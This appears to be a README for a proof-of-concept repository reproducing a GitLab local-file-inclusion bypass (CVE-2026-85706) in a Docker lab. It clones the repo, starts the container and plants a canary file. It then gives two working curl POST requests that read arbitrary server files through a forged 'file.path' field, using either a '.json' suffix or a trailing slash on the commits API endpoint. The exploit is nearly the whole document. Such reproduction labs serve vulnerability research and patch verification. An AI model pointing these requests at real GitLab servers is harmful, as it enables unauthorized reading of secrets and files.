
Docker-based reproduction environment and PoC for CVE-2026-85706, demonstrating GitLab LFI bypass via .json suffix and trailing slash path tricks.
git clone https://github.com/FlowerWitch/CVE-2026-85706_docker_exp
docker compose up -d
2.写入LFI测试信息
docker exec gitlab-vuln bash -c 'echo "SECRET-CANARY-85706-%%%" > /tmp/canary.txt'
3.读取验证
# 绕过方式 1:.json 后缀
curl -s -w "\nHTTP %{http_code}\n" -X POST "http://localhost:8085/api/v4/projects/1/repository/commits.json" \
-H "Content-Type: application/json" \
--data '{"file":"","file.path":"/tmp/canary.txt","file.size":1,"Content-Type":"application/x-www-form-urlencoded"}'
# 绕过方式 2:尾斜杠
curl -s -w "\nHTTP %{http_code}\n" -X POST "http://localhost:8085/api/v4/projects/1/repository/commits/" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data 'file=&file.path=/tmp/canary.txt&file.size=1&Content-Type=application/x-www-form-urlencoded'
